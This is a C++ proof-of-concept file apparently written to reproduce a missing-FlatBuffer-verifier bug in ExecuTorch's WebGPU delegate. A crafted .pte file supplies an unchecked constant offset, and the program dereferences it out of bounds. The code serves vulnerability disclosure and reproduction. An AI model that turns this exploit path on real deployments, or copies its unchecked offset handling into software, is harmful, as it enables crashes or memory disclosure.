/*
 * runtime_poc_webgpu.cpp
 *
 * Runtime PoC for the WebGPU delegate missing-verifier OOB.
 *
 * Reproduces the exact vulnerable code path from:
 *   WebGPUBackend.cpp:75     — VkGraphBufferHasIdentifier check only; no Verifier
 *   WebGPUGraph.cpp:378      — GetVkGraph(flatbuffer_data) called with NO Verifier
 *   WebGPUGraph.cpp:536-538  — cs.inline_offset = vk_bytes->offset() (no bounds check)
 *   WebGPUGraph.cpp:732-733  — constant_data_ + cs.inline_offset (OOB pointer + deref)
 *
 * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
 *   flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
 *   ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
 *
 * Build:
 *   clang++ -std=c++17 -g -fsanitize=undefined \
 *       -I~/executorch_vuln/third-party/flatbuffers/include \
 *       -I. \
 *       runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
 *
 * Run:
 *   ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
 */

#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <stdexcept>
#include <vector>

#include <flatbuffers/flatbuffers.h>
#include "schemas/vkgraph_generated.h"

// ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------

struct WebGPUDelegateHeader {
    uint32_t header_size;
    uint32_t flatbuffer_offset;
    uint32_t flatbuffer_size;
    uint32_t bytes_offset;
    uint64_t bytes_size;

    static WebGPUDelegateHeader parse(const uint8_t* data) {
        // magic at offset 4 must be "VH00"
        if (memcmp(data + 4, "VH00", 4) != 0)
            throw std::runtime_error("WebGPUDelegateHeader: bad magic");

        WebGPUDelegateHeader h;
        uint16_t hs; memcpy(&hs, data + 8,  2); h.header_size      = hs;
        memcpy(&h.flatbuffer_offset, data + 10, 4);
        memcpy(&h.flatbuffer_size,   data + 14, 4);
        memcpy(&h.bytes_offset,      data + 18, 4);
        memcpy(&h.bytes_size,        data + 22, 8);
        return h;
    }
};

// ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------

static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;

struct ConstantSource {
    uint64_t inline_offset = INLINE_OFFSET_NONE;
    size_t   nbytes        = 0;
};

// ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
// Manual traversal identical to what we did for MPS.

static std::vector<uint8_t> extract_delegate_payload(
        const uint8_t* pte, size_t pte_size) {

    if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
        throw std::runtime_error("Not a valid ET12 .pte file");

    // FlatBuffers root offset
    uint32_t root_off; memcpy(&root_off, pte, 4);
    const uint8_t* prog_table = pte + root_off;

    // Program vtable
    int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
    const uint8_t* vtable = prog_table - vtable_soff;
    uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);

    // Program field order (from program.fbs):
    //   version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
    //   backend_delegate_data(3)=10
    uint16_t bdd_off = 0;
    if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3

    if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");

    const uint8_t* bdd_ptr = prog_table + bdd_off;

    // bdd_ptr -> offset to vector of BackendDelegateInlineData
    int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
    const uint8_t* vec = bdd_ptr + vec_rel;

    uint32_t vec_len; memcpy(&vec_len, vec, 4);
    if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");

    // First element offset
    int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
    const uint8_t* elem = vec + 4 + elem_rel;

    // BackendDelegateInlineData vtable -> field 0 = data (byte vector)
    int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
    const uint8_t* elem_vt = elem - elem_vt_soff;
    uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);

    uint16_t data_off = 0;
    if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
    if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");

    const uint8_t* data_ptr = elem + data_off;
    int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
    const uint8_t* byte_vec = data_ptr + data_rel;

    uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
    const uint8_t* payload = byte_vec + 4;

    return std::vector<uint8_t>(payload, payload + byte_len);
}

// ---- elem_size for VkDataType -----------------------------------------------

static size_t vk_datatype_size(int8_t dt) {
    switch (dt) {
        case 0: return 1; // BOOL
        case 1: return 1; // UINT8
        case 2: return 1; // INT8
        case 3: return 4; // INT32
        case 4: return 2; // FLOAT16
        case 5: return 4; // FLOAT32
        case 6: return 8; // FLOAT64
        case 7: return 8; // INT64
        default: return 4;
    }
}

// ---- Main -------------------------------------------------------------------

int main(int argc, char** argv) {
    setvbuf(stdout, nullptr, _IONBF, 0);  // unbuffered so printfs appear before UBSan stderr
    printf("==========================================================\n");
    printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
    printf(" CVE class  : CWE-787 (Out-of-bounds Write)\n");
    printf(" Source     : backends/webgpu/runtime/WebGPUGraph.cpp\n");
    printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
    printf(" Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
    printf("==========================================================\n\n");

    if (argc < 2) {
        fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
        return 1;
    }

    // Load .pte
    FILE* f = fopen(argv[1], "rb");
    if (!f) { perror("fopen"); return 1; }
    fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
    std::vector<uint8_t> pte(fsz);
    fread(pte.data(), 1, fsz, f);
    fclose(f);

    printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);

    // Extract WebGPU delegate payload from backend_delegate_data[0]
    auto payload = extract_delegate_payload(pte.data(), pte.size());
    printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());

    // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
    auto hdr = WebGPUDelegateHeader::parse(payload.data());
    printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
           hdr.flatbuffer_offset, hdr.flatbuffer_size,
           hdr.bytes_offset, (unsigned long long)hdr.bytes_size);

    const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
    const uint8_t* constant_data   = payload.data() + hdr.bytes_offset;
    size_t         constant_size   = (size_t)hdr.bytes_size;

    // --- Reproduce WebGPUBackend.cpp:75 ---
    // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
    printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)\n");
    bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
    printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");

    // --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
    // GetVkGraph() called with NO Verifier — attacker controls the flatbuffer
    printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier\n");
    const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
    printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);

    // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
    printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
    printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");

    const auto* values    = graph->values();
    const auto* constants = graph->constants();

    if (!values || !constants) {
        fprintf(stderr, "No values/constants in graph\n");
        return 1;
    }

    printf("[PoC] graph->values()->size()    = %u\n", values->size());
    printf("[PoC] graph->constants()->size() = %u\n", constants->size());

    ConstantSource cs;

    for (unsigned i = 0; i < values->size(); i++) {
        const auto* val = values->Get(i);
        if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;

        const auto* vk_tensor = val->value_as_VkTensor();

        // Compute nbytes (WebGPUGraph.cpp:483-493)
        size_t numel = 1;
        if (vk_tensor->dims()) {
            for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
                numel *= vk_tensor->dims()->Get(j);
        }
        size_t elem_size = vk_datatype_size(vk_tensor->datatype());
        size_t nbytes    = numel * elem_size;

        printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
               i, numel, elem_size, nbytes);

        int constant_id = vk_tensor->constant_id();
        if (constant_id < 0) continue;

        printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);

        // WebGPUGraph.cpp:527-532 — bounds check on constant_id (present in real code)
        if (constant_id >= (int)constants->size()) {
            printf("[PoC] constant_id out of range — would throw\n");
            return 1;
        }

        // WebGPUGraph.cpp:534 — constants->Get() on unverified flatbuffer
        const auto* vk_bytes = constants->Get(constant_id);
        printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);

        printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
        cs.nbytes = nbytes;

        // WebGPUGraph.cpp:537-538 — THE MISSING BOUNDS CHECK
        printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
        printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
               (unsigned long long)vk_bytes->offset());

        if (vk_bytes->offset() != UINT64_MAX) {
            cs.inline_offset = vk_bytes->offset();
            printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx  (NO bounds check vs constant_data size)\n",
                   (unsigned long long)cs.inline_offset);
            printf("[PoC] constant_data section is %zu bytes — offset 0x%llx is WAY past it\n",
                   constant_size, (unsigned long long)cs.inline_offset);
        }
    }

    // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
    printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
    printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
    printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
    printf("[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)\n");
    printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
    printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
    printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
    printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
           (unsigned long long)cs.inline_offset,
           (unsigned long long)cs.inline_offset - constant_size,
           constant_size);

    printf("[PoC] Executing OOB pointer arithmetic now...\n");

    // Exact expression from WebGPUGraph.cpp:733:
    //   wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
    // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
    // UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
    const uint8_t* oob_ptr = constant_data + cs.inline_offset;
    printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
           (void*)oob_ptr, (unsigned long long)cs.inline_offset);

    // Force a dereference — this is what wgpuQueueWriteBuffer does internally
    // when it reads the source buffer to upload to the GPU.
    volatile uint8_t byte = *oob_ptr;
    (void)byte;

    printf("[PoC] SHOULD NOT REACH HERE\n");
    return 0;
}